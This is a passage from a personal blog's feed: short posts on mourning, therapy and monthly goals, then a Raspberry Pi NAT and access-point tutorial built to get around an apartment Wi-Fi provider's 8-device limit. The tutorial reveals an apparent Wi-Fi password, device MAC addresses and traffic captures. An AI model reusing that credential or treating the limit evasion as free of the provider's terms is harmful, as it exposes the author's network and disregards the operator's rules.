don\u0026rsquo;t know if I can do it respectfully or not. I know I will break if I talk.\nI don\u0026rsquo;t really like to stay away from people, to push my friends away. But for now, I have to. I hope I won\u0026rsquo;t regret any of these actions. I hope I can heal. I don\u0026rsquo;t know what will happen next, I just know that I don\u0026rsquo;t want to hangout in large groups for a while. I don\u0026rsquo;t want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won\u0026rsquo;t turn into an incel. I know I won\u0026rsquo;t. I know I push through. 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It\u0026rsquo;s an interesting video imo. This is something I\u0026rsquo;ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?\u003c/p\u003e\n\u003cp\u003eFunnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other\u0026rsquo;s respect. Naturally that evolved into me becoming a people please. A so called \u0026ldquo;nice person\u0026rdquo;. I\u0026rsquo;ve even been made fun of with those words.\u003c/p\u003e","title":"Setting Boundries"},{"content":"4th Again, let\u0026rsquo;s setup some goals for the month.\nLiterature review Keeping up with my coursework Working on my codebase Getting healthier diet and excercise-wise 30th I did a bit of literature review, it\u0026rsquo;s still lacking unfortunately.\nCoursework is ok-ish. I\u0026rsquo;ve been trying to work on assignements and understand them.\nI rewrote the whole codebase, now we have a modularized design that should be easier to add to.\nI\u0026rsquo;ve been eating more and more healthy, excercise is still lacking. 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I\u0026rsquo;ve been trying to work on assignements and understand them.\u003c/p\u003e\n\u003cp\u003eI rewrote the whole codebase, now we have a modularized design that should be easier to add to.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;ve been eating more and more healthy, excercise is still lacking. I\u0026rsquo;ll get to that later.\u003c/p\u003e","title":"November '25"},{"content":"The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.\nThis post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.\nHardware: what I picked and why Raspberry Pi 4 (4GB)\nIt has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.\nALFA AWUS036ACHM (USB Wi-Fi)\nReliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).\nFast USB-C power supply (official Pi 4 or 5V/3A equivalent)\nWi-Fi spikes current draw; brown-outs cause random gremlins.\n16–32 GB microSD, heatsinks, ventilated case\nThe Pi 4 appreciates a bit of airflow.\n(Optional) Ethernet cable\nIf you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.\nWhat this setup actually does The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0). The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118. Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated. Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router. If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere. Setup details (the friendly version) 1) Access point with hostapd I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.\ninterface=wlx00c0cab7ab29 ssid=\u0026lt;A_NICE_SSID\u0026gt; country_code=DE hw_mode=g channel=6 ieee80211n=1 wmm_enabled=1 # Don\u0026#39;t require HT or you\u0026#39;ll reject some tiny IoT clients: require_ht=0 wpa=2 wpa_key_mgmt=WPA-PSK rsn_pairwise=CCMP wpa_passphrase=\u0026lt;STRONG_PASSWORD\u0026gt; 2) DHCP on the IoT side (dnsmasq) Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.\ninterface=wlx00c0cab7ab29 bind-interfaces dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h dhcp-option=3,192.168.50.1 dhcp-option=6,1.1.1.1,8.8.8.8 port=0 # leave port 53 to systemd-resolved log-dhcp 3) Routing + NAT (nftables) This makes every downstream device appear as the Pi upstream:\ntable inet filter { chain input { type filter hook input priority filter; policy accept; ct state established,related accept iif \u0026#34;lo\u0026#34; accept iif \u0026#34;wlan0\u0026#34; accept iif \u0026#34;wlx00c0cab7ab29\u0026#34; accept udp dport 5353 accept # mDNS counter drop } chain forward { type filter hook forward priority filter; policy accept; ct state established,related accept iif \u0026#34;wlx00c0cab7ab29\u0026#34; oif \u0026#34;wlan0\u0026#34; accept iif \u0026#34;wlan0\u0026#34; oif \u0026#34;wlx00c0cab7ab29\u0026#34; accept } chain output { type filter hook output priority filter; policy accept; } } table ip nat { chain postrouting { type nat hook postrouting priority srcnat; policy accept; oif \u0026#34;wlan0\u0026#34; masquerade } } 4) mDNS across subnets (Avahi) The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:\n[server] allow-interfaces=wlan0,wlx00c0cab7ab29 [reflector] enable-reflector=yes I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale\nIet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.\nNow some random questions that I looked up in internet:\nHow many devices can this really support? Short answer: a lot—for IoT. Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.\nIf you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.\nWhat speeds should I expect? LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: ~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I\u0026rsquo;m golden! ^^\nInternet (IoT device → upstream via Pi): If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.\nLatency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.\nWhy these choices? 2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.\nWPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.\n20 MHz channel prevents older or power-saving devices from flaking out.\nAvahi reflector avoids any changes to the building’s router and still lets discovery work.\nNAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.\nTroubleshooting hostapd masked/disabled →\nsudo systemctl unmask hostapd \u0026amp;\u0026amp; sudo systemctl enable --now hostapd dnsmasq can’t start because of port 53 →\nset port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.\n“Station does not support mandatory HT PHY” in hostapd logs →\nadd require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.\nAirPlay/HomeKit don’t show up across subnets →\nensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:\n/etc/avahi/avahi-daemon.conf has: [server] allow-interfaces=wlan0,wlx00c0cab7ab29 [reflector] enable-reflector=yes firewall allows: udp dport 5353 accept Weak signal / flaky joins →\nuse a short USB 3 extension to move the ALFA away from the Pi and cables;\nscan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.\nClients connect but no internet →\nverify IP forward \u0026amp; NAT:\nsudo sysctl net.ipv4.ip_forward If it\u0026rsquo;s 0, enable it permanently and reload\necho \u0026#39;net.ipv4.ip_forward=1\u0026#39; | sudo tee /etc/sysctl.d/99-iot.conf sudo sysctl --system Verify the nftables NAT rule exists (masquerade out via wlan0)\nsudo nft list ruleset | sed -n \u0026#39;/table ip nat/,$p\u0026#39; | sed -n \u0026#39;1,80p\u0026#39; Add it if missing\nsudo nft add table ip nat sudo nft \u0026#39;add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }\u0026#39; sudo nft \u0026#39;add rule ip nat postrouting oif \u0026#34;wlan0\u0026#34; masquerade\u0026#39; Persist nftables (Ubuntu)\nsudo sh -c \u0026#39;nft list ruleset \u0026gt; /etc/nftables.conf\u0026#39; sudo systemctl enable --now nftables Quick service sanity checks hostapd (AP) sudo systemctl status hostapd --no-pager sudo journalctl -u hostapd -n 60 --no-pager iw dev wlx00c0cab7ab29 info iw dev wlx00c0cab7ab29 station dump dnsmasq (DHCP on IoT side) sudo systemctl status dnsmasq --no-pager sudo journalctl -u dnsmasq -n 80 --no-pager grep -E \u0026#39;interface=|dhcp-range\u0026#39; /etc/dnsmasq.d/*.conf || true tail -n 50 /var/lib/misc/dnsmasq.leases Avahi (mDNS reflector) grep -E \u0026#39;enable-reflector|allow-interfaces\u0026#39; /etc/avahi/avahi-daemon.conf sudo systemctl status avahi-daemon --no-pager sudo journalctl -u avahi-daemon -n 60 --no-pager Basic connectivity tests from a client on IoT_hub got DHCP? ip addr show ip route cat /etc/resolv.conf can you reach the Pi and the internet? ping -c 3 192.168.50.1 ping -c 3 1.1.1.1 ping -c 3 google.com DNS works end-to-end? dig +short _airplay._tcp.local @224.0.0.251 -p 5353 (Or use a Bonjour browser app to confirm the HomePod is discoverable.)\nIf AirPlay/HomeKit discovery is flaky across subnets make sure mDNS is allowed both directions on the Pi sudo nft add rule inet filter input udp dport 5353 accept sudo nft add rule inet filter forward udp dport 5353 accept sudo sh -c \u0026#39;nft list ruleset \u0026gt; /etc/nftables.conf\u0026#39; restart Avahi cleanly and re-announce sudo systemctl restart avahi-daemon sudo journalctl -u avahi-daemon -n 40 --no-pager from the Pi, watch mDNS traffic on both sides (you should see queries/answers) sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv (in another terminal:)\nsudo tcpdump -ni wlan0 udp port 5353 -vvv Throughput + airtime sanity (optional) simple iperf3 (install on Pi and a client) sudo apt-get update \u0026amp;\u0026amp; sudo apt-get install -y iperf3 (on the Pi:) iperf3 -s (on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10\ncheck channel utilization/interference (from Pi) sudo iw dev wlx00c0cab7ab29 survey dump | sed -n \u0026#39;1,200p\u0026#39; (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)\nScaling tips (lots of tiny IoT devices) hostapd tweaks (add to hostapd.conf, then restart) (reduce management overhead slightly; keep conservative for compatibility)\nbeacon_int=100 dtim_period=2 wmm_enabled=1 ap_isolate=0 max_num_sta=256 # logical cap; real limit is airtime/driver sudo systemctl restart hostapd if some ESP/low-power clients are sticky or nap too hard: (device-side) disable aggressive power saving if supported\n(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients\n“Clients connect but no internet” quick checklist Pi has a default route via upstream? ip route | grep default NAT counters are increasing when clients surf? sudo nft list chain ip nat postrouting -a connections tracked? sudo conntrack -L -o extended | head -n 40 last resort: bounce the pieces sudo systemctl restart hostapd dnsmasq avahi-daemon sudo systemctl restart NetworkManager || true sudo systemctl restart nftables Network Traffic (embedded from captures) For fun, and curiousity!\n1) DHCP leases (who joined the IoT network) 1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88 1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a 1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c 1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29 1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c 1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * * 1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * * 1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * * 1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 * 1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc 2) Top talkers by bytes (hosts table) 192.168.50.233,7346 192.168.50.118,7216 192.168.50.131,7216 17.253.53.203,7040 54.217.122.41,6271 192.168.50.216,5392 192.168.50.104,3058 192.168.50.189,2278 17.242.218.132,1802 192.168.50.134,1750 192.168.50.196,1653 3.122.71.119,639 18.196.19.65,570 161.117.178.131,391 17.253.53.201,148 17.57.146.25,90 10.172.72.196,66 224.0.0.251,0 224.0.0.2,0 255.255.255.255,0 3) Heaviest flows (src, dst, proto, dport, bytes) 192.168.50.202,192.168.50.131,TCP,59903,402 192.168.50.202,192.168.50.118,TCP,59807,402 161.117.178.131,192.168.50.134,TCP,58246,391 192.168.50.216,192.168.50.202,UDP,5353,336 192.168.50.202,192.168.50.189,UDP,5353,312 192.168.50.202,192.168.50.196,UDP,5353,234 17.253.53.203,192.168.50.202,TCP,64726,222 192.168.50.216,17.57.146.25,TCP,5223,172 192.168.50.216,192.168.50.233,UDP,5353,162 192.168.50.202,192.168.50.104,UDP,5353,156 17.253.53.201,192.168.50.202,TCP,64727,148 192.168.50.202,17.253.53.201,TCP,443,132 192.168.50.216,224.0.0.251,IP,0,92 192.168.50.216,224.0.0.2,IP,0,92 17.57.146.25,192.168.50.216,TCP,64544,90 192.168.50.216,192.168.50.118,UDP,5353,75 192.168.50.216,192.168.50.131,UDP,5353,75 192.168.50.216,192.168.50.134,UDP,5353,75 192.168.50.216,10.172.72.196,TCP,59593,70 10.172.72.196,192.168.50.216,TCP,51638,66 4) Conntrack snapshot (active connections inventory) ipv4 2 tcp 6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1 ipv4 2 udp 17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1 ipv4 2 udp 17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1 ipv4 2 udp 17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1 ipv4 2 tcp 6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1 ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1 ipv4 2 unknown 2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1 ipv4 2 udp 17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1 ipv4 2 udp 17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1 ipv4 2 udp 17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1 ipv4 2 tcp 6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1 ipv4 2 udp 17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1 ipv4 2 tcp 6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1 ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1 ipv4 2 tcp 6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1 ipv4 2 udp 17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1 ipv4 2 unknown 2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1 ipv4 2 udp 17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8 ipv4 2 udp 17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1 ipv4 2 udp 17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1 ipv4 2 udp 17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1 ipv4 2 udp 17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1 ipv4 2 udp 17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1 ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1 ipv4 2 tcp 6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1 ipv4 2 udp 17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1 ipv4 2 udp 17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1 ipv4 2 udp 17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1 ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1 ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1 ipv4 2 tcp 6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1 5) Part of Raw packet capture What’s inside? tshark -r iot_ap_120s.pcap -q -z io,stat,60 ================================== | IO Statistics | | | | Duration: 119.773534 secs | | Interval: 60 secs | | | | Col 1: Frames and bytes | |--------------------------------| | |1 | | Interval | Frames | Bytes | |--------------------------------| | 0 \u0026lt;\u0026gt; 60 | 400 | 60449 | | 60 \u0026lt;\u0026gt; Dur | 24672 | 30179911 | ================================== Protocol hierarchy (what kinds of traffic?) ❯ tshark -r iot_ap_120s.pcap -q -z io,phs =================================================================== Protocol Hierarchy Statistics Filter: eth frames:25072 bytes:30240360 ip frames:24706 bytes:30195993 udp frames:349 bytes:94583 mdns frames:241 bytes:60693 data frames:32 bytes:2240 quic frames:76 bytes:31650 quic frames:2 bytes:2484 tcp frames:24353 bytes:30101226 tls frames:2413 bytes:3493680 tcp.segments frames:2256 bytes:3378795 tls frames:2222 bytes:3353799 data frames:147 bytes:71717 tcp.segments frames:5 bytes:7550 igmp frames:4 bytes:184 arp frames:150 bytes:6300 ipv6 frames:216 bytes:38067 icmpv6 frames:124 bytes:10704 udp frames:79 bytes:25415 data frames:2 bytes:132 mdns frames:77 bytes:25283 tcp frames:13 bytes:1948 data frames:1 bytes:90 =================================================================== Top IP conversations (who talked to whom?) ❯ tshark -r iot_ap_120s.pcap -q -z conv,ip ================================================================================ IPv4 Conversations Filter:\u0026lt;No Filter\u0026gt; | \u0026lt;- | | -\u0026gt; | | Total | Relative | Duration | | Frames Bytes | | Frames Bytes | | Frames Bytes | Start | | 192.168.50.202 \u0026lt;-\u0026gt; 17.253.37.195 19588 29 MB 3912 286 kB 23500 29 MB 72.555738000 21.8560 192.168.50.1 \u0026lt;-\u0026gt; 192.168.50.202 239 74 kB 238 46 kB 477 120 kB 0.293866000 119.4797 192.168.50.1 \u0026lt;-\u0026gt; 224.0.0.251 0 0 bytes 118 28 kB 118 28 kB 0.000000000 119.7310 192.168.50.202 \u0026lt;-\u0026gt; 1.1.1.1 40 20 kB 36 10 kB 76 31 kB 72.033321000 30.3367 192.168.50.202 \u0026lt;-\u0026gt; 2.19.120.151 47 44 kB 29 8,460 bytes 76 53 kB 72.062807000 14.8525 192.168.50.202 \u0026lt;-\u0026gt; 17.56.138.35 27 7,602 bytes 33 13 kB 60 20 kB 72.107270000 15.0196 192.168.50.202 \u0026lt;-\u0026gt; 17.253.53.203 17 7,040 bytes 23 9,256 bytes 40 16 kB 72.326823000 10.5130 192.168.50.202 \u0026lt;-\u0026gt; 54.217.122.41 19 6,271 bytes 18 6,122 bytes 37 12 kB 102.352119000 0.3678 192.168.50.202 \u0026lt;-\u0026gt; 17.253.53.202 19 22 kB 17 3,099 bytes 36 25 kB 81.940717000 0.3208 192.168.50.202 \u0026lt;-\u0026gt; 23.58.105.122 19 9,936 bytes 16 5,759 bytes 35 15 kB 72.225431000 9.6434 192.168.50.104 \u0026lt;-\u0026gt; 255.255.255.255 0 0 bytes 32 2,240 bytes 32 2,240 bytes 50.628126000 65.2664 17.242.218.132 \u0026lt;-\u0026gt; 192.168.50.202 12 1,701 bytes 13 1,802 bytes 25 3,503 bytes 20.967857000 62.0463 192.168.50.189 \u0026lt;-\u0026gt; 3.122.71.119 8 639 bytes 13 978 bytes 21 1,617 bytes 1.112174000 108.8174 192.168.50.131 \u0026lt;-\u0026gt; 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 19.033978000 79.6932 192.168.50.118 \u0026lt;-\u0026gt; 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 79.030835000 19.7664 192.168.50.233 \u0026lt;-\u0026gt; 224.0.0.251 0 0 bytes 20 6,052 bytes 20 6,052 bytes 79.031250000 19.7814 192.168.50.196 \u0026lt;-\u0026gt; 18.196.19.65 8 570 bytes 10 678 bytes 18 1,248 bytes 4.963201000 107.5242 192.168.50.216 \u0026lt;-\u0026gt; 224.0.0.251 0 0 bytes 12 3,880 bytes 12 3,880 bytes 98.049857000 4.2949 192.168.50.134 \u0026lt;-\u0026gt; 161.117.178.131 5 391 bytes 4 960 bytes 9 1,351 bytes 15.392290000 60.5936 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.189 4 1,300 bytes 4 312 bytes 8 1,612 bytes 26.274469000 93.2919 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.118 2 406 bytes 4 402 bytes 6 808 bytes 17.999757000 60.1593 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.131 2 406 bytes 4 402 bytes 6 808 bytes 17.999812000 60.1593 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.233 2 406 bytes 4 402 bytes 6 808 bytes 17.999825000 60.1592 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.196 3 975 bytes 3 234 bytes 6 1,209 bytes 30.223646000 89.3442 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.233 4 888 bytes 2 162 bytes 6 1,050 bytes 98.322145000 0.1456 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.202 1 1,092 bytes 4 336 bytes 5 1,428 bytes 98.319211000 0.2939 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.1 0 0 bytes 5 455 bytes 5 455 bytes 98.319329000 0.2505 192.168.50.202 \u0026lt;-\u0026gt; 17.253.53.201 2 148 bytes 2 132 bytes 4 280 bytes 81.716483000 1.0465 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.104 2 818 bytes 2 156 bytes 4 974 bytes 87.030561000 0.0107 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.131 3 718 bytes 1 75 bytes 4 793 bytes 98.321918000 0.1421 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.118 3 718 bytes 1 75 bytes 4 793 bytes 98.322266000 0.1420 192.168.50.216 \u0026lt;-\u0026gt; 17.57.146.25 1 90 bytes 2 172 bytes 3 262 bytes 98.048979000 0.0384 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.134 2 790 bytes 1 75 bytes 3 865 bytes 98.321779000 0.2550 192.168.50.216 \u0026lt;-\u0026gt; 224.0.0.2 0 0 bytes 2 92 bytes 2 92 bytes 98.049757000 0.0001 192.168.50.216 \u0026lt;-\u0026gt; 10.172.72.196 1 66 bytes 1 70 bytes 2 136 bytes 98.664295000 0.0060 ================================================================================ Fast “top talkers” table (by source IP) ❯ tshark -r iot_ap_120s.pcap -T fields -e ip.src -e frame.len \\ | awk \u0026#39;NF==2{b[$1]+=$2} END{for (h in b) printf \u0026#34;%-16s %12d\\n\u0026#34;, h, b[h]}\u0026#39; \\ | sort -k2,2nr | head -n 20 17.253.37.195 29540349 192.168.50.202 422414 192.168.50.1 75521 2.19.120.151 44554 17.253.53.202 22016 1.1.1.1 20675 23.58.105.122 9936 17.56.138.35 7602 192.168.50.233 7346 192.168.50.118 7216 192.168.50.131 7216 17.253.53.203 7040 54.217.122.41 6271 192.168.50.216 5392 192.168.50.104 3058 192.168.50.189 2278 17.242.218.132 1802 192.168.50.134 1750 192.168.50.196 1653 3.122.71.119 639 DNS \u0026amp; mDNS highlights (what names show up?) # DNS queries (unicast) ❯ 